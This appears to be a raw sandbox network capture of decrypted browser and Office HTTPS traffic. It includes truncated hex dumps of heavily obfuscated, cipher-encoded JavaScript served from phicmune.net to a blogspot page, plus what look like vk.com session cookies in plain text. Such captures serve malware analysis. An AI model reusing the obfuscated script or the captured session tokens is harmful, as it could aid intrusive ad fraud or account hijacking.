2024-10-14 22:39:58 UTC	632	OUT	GET /dyn-css/authorization.css?targetBlogID=6002409460088195649&zx=dcf111cd-6b9a-4037-a79c-a07ee24c9a83 HTTP/1.1 Host: www.blogger.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://sqsq2938.blogspot.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:58 UTC	1132	IN	HTTP/1.1 200 OK P3P: CP="This is not a P3P policy! See https://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info." Content-Security-Policy: script-src 'self' .google.com .google-analytics.com 'unsafe-inline' 'unsafe-eval' .gstatic.com .googlesyndication.com .blogger.com .googleapis.com uds.googleusercontent.com https://s.ytimg.com https://i18n-cloud.appspot.com https://www.youtube.com www-onepick-opensocial.googleusercontent.com www-bloggervideo-opensocial.googleusercontent.com www-blogger-opensocial.googleusercontent.com https://www.blogblog.com; report-uri /cspreport Content-Type: text/css; charset=UTF-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 14 Oct 2024 22:39:58 GMT Last-Modified: Mon, 14 Oct 2024 22:39:58 GMT X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-14 22:39:58 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-10-14 22:39:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49929	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:58 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:58 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 36e78a2e-101e-008d-054a-1c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223958Z-17db6f7c8cfjxfnba42c5rukwg00000003y000000000k2es x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:58 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.6	49924	139.45.197.251	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:58 UTC	588	OUT	GET /3bT/27mJf/universal.min.js?v=3.1.562 HTTP/1.1 Host: phicmune.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://sqsq2938.blogspot.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://sqsq2938.blogspot.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:58 UTC	386	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 14 Oct 2024 22:39:58 GMT Content-Type: application/javascript Content-Length: 83379 Last-Modified: Wed, 09 Oct 2024 15:52:10 GMT Connection: close ETag: "6706a6aa-145b3" Access-Control-Allow-Origin: https://sqsq2938.blogspot.com Access-Control-Allow-Credentials: true Cache-Control: no-cache Pragma: no-cache Accept-Ranges: bytes
2024-10-14 22:39:58 UTC	15998	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 78 29 7b 28 28 29 3d 3e 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 76 61 72 20 5f 5f 77 65 62 70 61 63 6b 5f 6d 6f 64 75 6c 65 73 5f 5f 3d 78 2e 69 72 28 78 2e 78 2c 28 65 2c 74 29 3d 3e 7b 4f 62 6a 65 63 74 5b 78 2e 51 4b 5d 28 74 2c 78 2e 4c 6a 2c 78 2e 69 72 28 78 2e 71 62 2c 21 78 2e 77 72 29 29 2c 74 5b 78 2e 50 6a 5d 3d 74 5b 78 2e 66 6a 5d 3d 76 6f 69 64 20 78 2e 77 72 3b 63 6f 6e 73 74 20 72 3d 78 2e 41 72 2c 6f 3d 5b 5d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 63 6f 6e 73 74 20 74 3d 77 69 6e 64 6f 77 5b 78 2e 55 45 5d 5b 78 2e 78 67 5d 5b 78 2e 55 62 5d 5b 78 2e 6a 59 5d 7c 7c 72 3b 5b 77 69 6e 64 6f 77 5b 74 5d 7c 7c 5b 5d 2c 6f 5d 5b 78 2e 4d 45 5d 28 74 3d 3e 7b 63 6f 6e 73 74 20 72 3d 74 5b 78 2e 61 59 5d 28 Data Ascii: (function(x){(()=>{'use strict';var __webpack_modules__=x.ir(x.x,(e,t)=>{Object[x.QK](t,x.Lj,x.ir(x.qb,!x.wr)),t[x.Pj]=t[x.fj]=void x.wr;const r=x.Ar,o=[];function n(e){const t=window[x.UE][x.xg][x.Ub][x.jY]\|\|r;[window[t]\|\|[],o][x.ME](t=>{const r=t[x.aY](
2024-10-14 22:39:58 UTC	16384	IN	Data Raw: 2e 51 2c 28 65 2c 74 2c 72 29 3d 3e 7b 4f 62 6a 65 63 74 5b 78 2e 51 4b 5d 28 74 2c 78 2e 4c 6a 2c 78 2e 69 72 28 78 2e 71 62 2c 21 78 2e 77 72 29 29 2c 74 5b 78 2e 6a 4b 5d 3d 76 6f 69 64 20 78 2e 77 72 3b 63 6f 6e 73 74 20 6f 3d 72 28 78 2e 61 29 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 65 5b 78 2e 6e 59 5d 26 26 65 5b 78 2e 6e 59 5d 5b 78 2e 61 59 5d 28 78 2e 72 53 29 3c 78 2e 77 72 26 26 28 65 5b 78 2e 6e 59 5d 5b 78 2e 61 59 5d 28 78 2e 57 67 29 3c 78 2e 77 72 7c 7c 65 5b 78 2e 6e 59 5d 5b 78 2e 61 59 5d 28 78 2e 63 67 29 3c 78 2e 77 72 7c 7c 65 5b 78 2e 6e 59 5d 5b 78 2e 61 59 5d 28 78 2e 70 67 29 3c 78 2e 77 72 26 26 65 5b 78 2e 6e 59 5d 5b 78 2e 61 59 5d 28 78 2e 42 67 29 3c 78 2e 77 72 29 7d 74 5b 78 2e 6a 4b 5d Data Ascii: .Q,(e,t,r)=>{Object[x.QK](t,x.Lj,x.ir(x.qb,!x.wr)),t[x.jK]=void x.wr;const o=r(x.a);function n(e){return e&&e[x.nY]&&e[x.nY][x.aY](x.rS)<x.wr&&(e[x.nY][x.aY](x.Wg)<x.wr\|\|e[x.nY][x.aY](x.cg)<x.wr\|\|e[x.nY][x.aY](x.pg)<x.wr&&e[x.nY][x.aY](x.Bg)<x.wr)}t[x.jK]
2024-10-14 22:39:58 UTC	16384	IN	Data Raw: 20 66 75 6e 63 74 69 6f 6e 28 65 3d 28 29 3d 3e 28 78 2e 77 72 2c 70 5b 78 2e 56 4b 5d 29 28 29 29 7b 28 78 2e 77 72 2c 77 5b 78 2e 4b 6b 5d 29 28 29 3b 63 6f 6e 73 74 20 72 3d 66 5b 78 2e 73 4b 5d 5b 78 2e 6f 4b 5d 28 29 3b 6c 65 74 20 6f 3d 78 2e 65 72 2c 75 3d 78 2e 65 72 3b 63 6f 6e 73 74 20 67 3d 78 2e 69 72 28 78 2e 59 43 2c 72 5b 78 2e 59 43 5d 2c 78 2e 53 43 2c 72 5b 78 2e 53 43 5d 29 2c 7b 69 66 72 61 6d 65 48 54 4d 4c 3a 5f 7d 3d 61 77 61 69 74 20 79 28 29 3b 74 72 79 7b 63 6f 6e 73 74 20 73 3d 6d 28 72 29 2c 70 3d 5b 74 5b 78 2e 75 4d 5d 5b 78 2e 50 6b 5d 3f 78 2e 76 63 3a 78 2e 4f 63 2c 73 2c 74 5b 78 2e 7a 4d 5d 3f 78 2e 51 57 3a 78 2e 59 6a 5d 3b 75 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 63 6f 6e 73 74 20 72 3d 77 69 6e 64 6f 77 5b 78 2e 55 Data Ascii: function(e=()=>(x.wr,p[x.VK])()){(x.wr,w[x.Kk])();const r=f[x.sK][x.oK]();let o=x.er,u=x.er;const g=x.ir(x.YC,r[x.YC],x.SC,r[x.SC]),{iframeHTML:_}=await y();try{const s=m(r),p=[t[x.uM][x.Pk]?x.vc:x.Oc,s,t[x.zM]?x.QW:x.Yj];u=function(e){const r=window[x.U
2024-10-14 22:39:58 UTC	16384	IN	Data Raw: 2c 28 65 2c 74 2c 72 29 3d 3e 7b 4f 62 6a 65 63 74 5b 78 2e 51 4b 5d 28 74 2c 78 2e 4c 6a 2c 78 2e 69 72 28 78 2e 71 62 2c 21 78 2e 77 72 29 29 2c 74 5b 78 2e 64 4b 5d 3d 76 6f 69 64 20 78 2e 77 72 3b 63 6f 6e 73 74 20 6f 3d 72 28 78 2e 4f 72 29 2c 6e 3d 72 28 78 2e 6e 72 29 3b 6c 65 74 20 69 3d 21 78 2e 63 6a 3b 74 5b 78 2e 64 4b 5d 3d 28 65 3d 78 2e 59 6a 29 3d 3e 7b 69 66 28 21 69 29 7b 69 3d 21 78 2e 77 72 3b 74 72 79 7b 73 65 6c 66 5b 78 2e 7a 43 5d 28 78 2e 52 53 2c 74 29 2c 73 65 6c 66 5b 78 2e 41 63 5d 3d 74 2c 73 65 6c 66 5b 78 2e 7a 43 5d 28 78 2e 42 63 2c 72 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 61 28 65 5b 78 2e 52 53 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 29 7b 61 28 65 5b 78 2e 47 6a 5d 29 7d Data Ascii: ,(e,t,r)=>{Object[x.QK](t,x.Lj,x.ir(x.qb,!x.wr)),t[x.dK]=void x.wr;const o=r(x.Or),n=r(x.nr);let i=!x.cj;t[x.dK]=(e=x.Yj)=>{if(!i){i=!x.wr;try{self[x.zC](x.RS,t),self[x.Ac]=t,self[x.zC](x.Bc,r)}catch(e){}}function t(e){a(e[x.RS])}function r(e){a(e[x.Gj])}
2024-10-14 22:39:58 UTC	16384	IN	Data Raw: 2f 2f 70 67 78 71 61 7a 61 7a 2e 6f 61 79 27 2c 58 6a 3a 27 74 66 66 62 65 3a 2f 2f 78 75 66 66 78 71 6f 70 7a 2e 6f 61 79 27 2c 4a 6a 3a 27 74 66 66 62 65 3a 2f 2f 68 61 61 7a 61 73 61 6d 2e 7a 71 66 27 2c 55 6a 3a 27 74 66 66 62 65 3a 2f 2f 66 74 71 71 62 66 61 6d 74 2e 6f 61 79 27 2c 64 6a 3a 27 64 67 7a 4f 79 70 4f 6d 6f 74 71 27 2c 5a 6a 3a 27 65 69 45 71 66 66 75 7a 73 65 27 2c 69 6a 3a 33 36 36 30 39 39 39 2c 77 6a 3a 27 65 75 78 71 7a 66 27 2c 49 6a 3a 27 64 71 63 67 75 64 71 55 7a 66 71 64 6d 6f 66 75 61 7a 27 2c 6c 6a 3a 27 6e 61 70 6b 27 2c 73 6a 3a 27 49 71 20 72 61 67 7a 70 20 31 20 61 72 72 71 64 20 66 74 6d 66 20 79 75 73 74 66 20 75 7a 66 71 64 71 65 66 20 6b 61 67 27 2c 44 6a 3a 27 75 6f 61 7a 27 2c 41 6a 3a 27 70 6d 66 6d 27 2c 65 6a 3a Data Ascii: //pgxqazaz.oay',Xj:'tffbe://xuffxqopz.oay',Jj:'tffbe://haazasam.zqf',Uj:'tffbe://ftqqbfamt.oay',dj:'dgzOypOmotq',Zj:'eiEqffuzse',ij:3660999,wj:'euxqzf',Ij:'dqcgudqUzfqdmofuaz',lj:'napk',sj:'Iq ragzp 1 arrqd ftmf yustf uzfqdqef kag',Dj:'uoaz',Aj:'pmfm',ej:
2024-10-14 22:39:58 UTC	1845	IN	Data Raw: 6f 74 71 79 71 27 2c 47 56 3a 27 72 61 6f 67 65 27 2c 68 56 3a 27 64 71 65 61 78 68 71 70 41 62 66 75 61 7a 65 27 2c 76 56 3a 27 65 71 6d 64 6f 74 42 6d 64 6d 79 65 27 2c 4f 56 3a 27 65 71 6d 64 6f 74 27 2c 57 56 3a 27 6f 64 71 6d 66 71 70 4d 66 27 2c 63 56 3a 27 61 6e 76 71 6f 66 45 66 61 64 71 27 2c 70 56 3a 27 75 7a 7a 71 64 54 46 59 58 27 2c 42 56 3a 27 73 71 66 57 71 6b 27 2c 51 56 3a 27 65 71 64 68 75 6f 71 20 69 61 64 77 71 64 20 68 71 64 65 75 61 7a 20 75 65 20 69 64 61 7a 73 27 2c 56 56 3a 32 31 30 2c 48 56 3a 35 30 30 2c 6e 56 3a 27 50 6d 66 71 46 75 79 71 52 61 64 79 6d 66 27 2c 75 56 3a 27 72 61 64 6f 71 42 61 62 67 62 27 2c 7a 56 3a 27 65 69 65 6d 7a 75 66 6b 51 64 64 61 64 27 2c 61 56 3a 27 66 64 6d 7a 65 6d 6f 66 75 61 7a 27 2c 58 56 3a 27 Data Ascii: otqyq',GV:'raoge',hV:'dqeaxhqpAbfuaze',vV:'eqmdotBmdmye',OV:'eqmdot',WV:'odqmfqpMf',cV:'anvqofEfadq',pV:'uzzqdTFYX',BV:'sqfWqk',QV:'eqdhuoq iadwqd hqdeuaz ue idazs',VV:210,HV:500,nV:'PmfqFuyqRadymf',uV:'radoqBabgb',zV:'eiemzufkQddad',aV:'fdmzemofuaz',XV:'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	49928	139.45.197.251	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:58 UTC	354	OUT	GET /ntfc.php?p=8165884 HTTP/1.1 Host: phicmune.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:58 UTC	325	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 14 Oct 2024 22:39:58 GMT Content-Type: application/javascript Content-Length: 13674 Last-Modified: Wed, 09 Oct 2024 15:52:10 GMT Connection: close ETag: "6706a6aa-356a" Access-Control-Allow-Credentials: true Cache-Control: no-cache Pragma: no-cache Accept-Ranges: bytes
2024-10-14 22:39:58 UTC	13674	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 78 29 7b 28 28 29 3d 3e 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 76 61 72 20 5f 5f 77 65 62 70 61 63 6b 5f 6d 6f 64 75 6c 65 73 5f 5f 3d 78 2e 67 28 78 2e 78 2c 28 65 2c 74 29 3d 3e 7b 4f 62 6a 65 63 74 5b 78 2e 6d 5d 28 74 2c 78 2e 52 2c 78 2e 67 28 78 2e 4c 72 2c 21 78 2e 43 29 29 2c 74 5b 78 2e 6f 5d 3d 74 5b 78 2e 54 5d 3d 76 6f 69 64 20 78 2e 43 3b 63 6f 6e 73 74 20 6e 3d 78 2e 76 2c 72 3d 5b 5d 3b 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 63 6f 6e 73 74 20 74 3d 77 69 6e 64 6f 77 5b 78 2e 58 6a 5d 5b 78 2e 42 6a 5d 5b 78 2e 50 72 5d 5b 78 2e 77 4b 5d 7c 7c 6e 3b 5b 77 69 6e 64 6f 77 5b 74 5d 7c 7c 5b 5d 2c 72 5d 5b 78 2e 6d 72 5d 28 74 3d 3e 7b 63 6f 6e 73 74 20 6e 3d 74 5b 78 2e 70 6b 5d 28 65 29 3b 6e 3e 2d 78 2e 70 Data Ascii: (function(x){(()=>{'use strict';var __webpack_modules__=x.g(x.x,(e,t)=>{Object[x.m](t,x.R,x.g(x.Lr,!x.C)),t[x.o]=t[x.T]=void x.C;const n=x.v,r=[];function a(e){const t=window[x.Xj][x.Bj][x.Pr][x.wK]\|\|n;[window[t]\|\|[],r][x.mr](t=>{const n=t[x.pk](e);n>-x.p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	49933	188.114.96.3	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:58 UTC	350	OUT	GET /favicon.ico HTTP/1.1 Host: phaivusaido.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:58 UTC	774	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:58 GMT Content-Type: image/x-icon Content-Length: 1150 Connection: close Last-Modified: Thu, 26 Sep 2024 13:43:49 GMT Vary: Accept-Encoding ETag: "66f56515-47e" Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff Cache-Control: max-age=1800 CF-Cache-Status: HIT Age: 6709 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z4W3sBbljrg1i4NWMSJlRmi019jtr59nRut9nH3dSVKh480PveVIJB0mOqQhyuW7zGRLRbTVQHGl1eFgiCnJR8LGo0AyspuJGL%2BHrutJgP9CWQrIdmqPM6MSHBWoJp%2FHCcw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d2b118729257cee-EWR alt-svc: h3=":443"; ma=86400
2024-10-14 22:39:58 UTC	595	IN	Data Raw: 00 00 01 00 01 00 10 10 00 00 01 00 20 00 68 04 00 00 16 00 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 09 09 48 63 63 63 f5 8d 8d 8d ff 8b 8b 8b ff 8b 8b 8b ff 8b 8b 8b ff 8c 8c 8c ff 90 90 90 fe 8c 8c 8c ff 91 91 91 ff 61 61 61 e9 00 00 00 2e 00 00 00 00 00 00 00 00 00 00 00 00 03 03 03 1f 39 39 39 b6 79 79 79 ff 93 93 93 fe 92 92 92 fe 92 92 92 fe 92 92 92 fe 96 96 96 fa bb bb bb d3 96 96 96 fa 8e 8e 8e fc 81 81 81 ef 0c 0c 0c 39 00 00 00 00 00 00 00 00 00 00 00 09 10 10 10 7f 67 67 67 fc 96 96 96 ff 92 92 92 ff 91 91 91 ff 91 91 91 ff 91 91 91 ff 92 92 92 fe 95 95 95 f8 9e 9e 9e fd 94 94 94 fd 5c 5c 5c f0 15 15 15 39 00 00 00 00 00 Data Ascii: h( Hcccaaa.999yyy9ggg\\\9
2024-10-14 22:39:58 UTC	555	IN	Data Raw: 7e 7e ff a2 a2 a2 ff 65 65 65 ff 66 66 66 ff 64 64 64 ff a2 a2 a2 ff b8 b8 b8 ff 60 60 60 ff 60 60 60 f1 14 14 14 39 00 00 00 00 00 00 00 00 03 03 03 39 a7 a7 a7 f3 bb bb bb ff 7a 7a 7a ff a0 a0 a0 ff e4 e4 e4 ff d1 d1 d1 ff d1 d1 d1 ff d1 d1 d1 ff e6 e6 e6 ff b9 b9 b9 ff 60 60 60 ff 62 62 62 ef 16 16 16 36 00 00 00 00 00 00 00 00 03 03 03 39 a6 a6 a6 f3 a3 a3 a3 ff 6d 6d 6d ff 7c 7c 7c ff c9 c9 c9 ff a4 a4 a4 ff a4 a4 a4 ff a3 a3 a3 ff ca ca ca ff b9 b9 b9 ff 60 60 60 ff 7b 7b 7b d3 30 30 30 20 00 00 00 00 00 00 00 00 03 03 03 39 a6 a6 a6 f3 92 92 92 ff 53 53 53 ff 42 42 42 ff 9b 9b 9b ff 72 72 72 ff 72 72 72 ff 70 70 70 ff a8 a8 a8 ff b8 b8 b8 ff 60 60 60 ff 63 63 63 ee 17 17 17 36 00 00 00 00 00 00 00 00 04 04 04 36 aa aa aa f1 c0 c0 c0 ff 84 84 84 ff Data Ascii: ~~eeefffddd``````99zzz```bbb69mmm\|\|\|```{{{000 9SSSBBBrrrrrrppp```ccc66

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	49931	95.142.206.0	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:58 UTC	707	OUT	GET /css/al/fonts_cnt.c7a76efe.css HTTP/1.1 Host: st6-20.vk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://vk.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: remixlang=3; remixstlid=9120256952286695402_JNzpNZrXkBIfSk5yyVnfvM3BcvTqGoM7iBnXuugt91o; remixstid=832476079_hvT6cKvBW98ZapTP4zA31gXh4Kc6zKyUwsiyAjELzxT
2024-10-14 22:39:58 UTC	583	IN	HTTP/1.1 200 OK Server: kittenx Date: Mon, 14 Oct 2024 22:39:58 GMT Content-Type: text/css Content-Length: 338432 Connection: close Last-Modified: Mon, 11 Dec 2023 21:31:14 GMT ETag: "65777fa2-52a00" Expires: Fri, 18 Oct 2024 22:39:58 GMT Cache-Control: max-age=345600 Server-Timing: tid;desc="5FgqsFj1t3udDI95bVxEWvB_m44mNQ",front;dur=0.175 X-Frontend: front6-20 Strict-Transport-Security: max-age=15768000 Access-Control-Expose-Headers: X-Frontend Vary: Origin Timing-Allow-Origin: https://vk.com X-Trace-Id: RyIpbmm2wBtGMo86459Rwgkn9g73lg Accept-Ranges: bytes
2024-10-14 22:39:58 UTC	15801	IN	Data Raw: ef bb bf 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 52 6f 62 6f 74 6f 22 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 73 72 63 3a 75 72 6c 28 64 61 74 61 3a 66 6f 6e 74 2f 77 6f 66 66 32 3b 62 61 73 65 36 34 2c 64 30 39 47 4d 67 41 42 41 41 41 41 41 50 65 30 41 42 49 41 41 41 41 43 67 4f 51 41 41 50 64 4e 41 41 49 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 47 6f 52 45 47 34 47 6b 4a 42 79 76 61 41 5a 67 41 4b 56 49 43 45 77 4a 67 7a 77 52 44 41 71 48 72 32 43 47 30 6b 4d 53 69 57 77 42 4e 67 49 6b 41 36 63 49 43 35 4e 47 41 41 51 67 42 59 55 59 42 79 41 4d 67 56 74 62 54 30 65 53 71 4a 74 73 6d 33 71 36 72 77 75 42 52 65 6b Data Ascii: @font-face{font-family:"Roboto";font-style:normal;font-weight:400;src:url(data:font/woff2;base64,d09GMgABAAAAAPe0ABIAAAACgOQAAPdNAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGoREG4GkJByvaAZgAKVICEwJgzwRDAqHr2CG0kMSiWwBNgIkA6cIC5NGAAQgBYUYByAMgVtbT0eSqJtsm3q6rwuBRek
2024-10-14 22:39:58 UTC	16384	IN	Data Raw: 4e 66 39 76 4e 38 66 55 53 36 31 39 59 49 6f 79 63 75 36 37 63 64 35 33 63 2f 37 4c 56 53 6b 57 45 65 68 56 6c 64 79 70 66 68 31 6d 55 4b 6d 42 31 32 59 77 6c 5a 61 70 56 64 47 5a 52 61 75 73 71 71 35 57 6f 74 63 6c 2b 74 57 33 61 2b 6e 48 64 67 76 57 71 66 31 32 36 54 66 39 34 63 32 62 32 64 30 49 4f 76 53 6c 6f 56 6d 4b 46 6e 46 45 6a 62 35 50 66 72 57 74 55 56 67 74 51 68 41 31 34 73 41 67 58 44 4d 63 62 35 6a 68 45 50 47 47 73 6d 64 44 6b 46 72 70 4c 51 34 32 6a 71 4b 48 66 54 71 70 4f 6f 6a 51 57 43 62 74 67 76 66 32 50 74 57 42 6b 45 33 35 71 7a 69 2f 78 62 2f 79 73 37 37 53 32 67 53 65 69 66 6b 32 4a 77 76 4a 2b 6d 51 7a 73 45 5a 76 58 72 58 2f 6e 4c 76 35 78 74 7a 63 2b 37 41 66 56 53 4d 30 71 2b 70 35 56 77 46 35 56 56 42 46 56 58 5a 52 61 71 42 Data Ascii: Nf9vN8fUS619YIoycu67cd53c/7LVSkWEehVldypfh1mUKmB12YwlZapVdGZRausqq5Wotcl+tW3a+nHdgvWqf126Tf94c2b2d0IOvSloVmKFnFEjb5PfrWtUVgtQhA14sAgXDMcb5jhEPGGsmdDkFrpLQ42jqKHfTqpOojQWCbtgvf2PtWBkE35qzi/xb/ys77S2gSeifk2JwvJ+mQzsEZvXrX/nLv5xtzc+7AfVSM0q+p5VwF5VVBFVXZRaqB
2024-10-14 22:39:58 UTC	16384	IN	Data Raw: 37 6d 66 6a 62 53 4e 36 4f 47 6f 53 76 32 68 45 77 4e 4d 61 51 78 36 31 45 59 48 64 49 39 54 35 46 51 4d 4c 39 6c 5a 53 41 77 64 33 37 30 4b 31 72 30 50 7a 71 71 6d 78 6c 6b 31 36 50 6c 44 32 57 6b 4e 49 78 7a 65 32 78 37 6f 48 50 59 55 47 78 61 36 68 4f 67 30 78 39 39 4c 53 75 41 6c 37 74 38 54 57 34 70 56 48 6a 45 67 64 78 54 65 55 2f 4e 6f 33 4e 2f 68 6e 30 31 75 31 6d 53 6e 2f 33 5a 76 55 37 72 63 34 75 6c 39 35 30 54 47 66 70 36 4d 66 56 71 32 68 71 61 53 57 59 4c 4f 30 6d 67 55 4f 73 36 55 56 62 6e 57 75 69 64 44 66 4e 4f 41 48 49 6d 75 65 44 33 38 7a 53 69 74 4f 42 6f 39 47 73 35 6c 65 44 4a 41 33 6d 6b 4d 43 75 73 6e 44 67 42 38 43 6f 71 4c 43 51 33 6d 54 6b 6d 61 66 6b 34 56 4d 52 69 76 67 68 4b 33 68 4f 36 35 4d 73 73 4a 70 63 7a 43 53 4b 4e 61 Data Ascii: 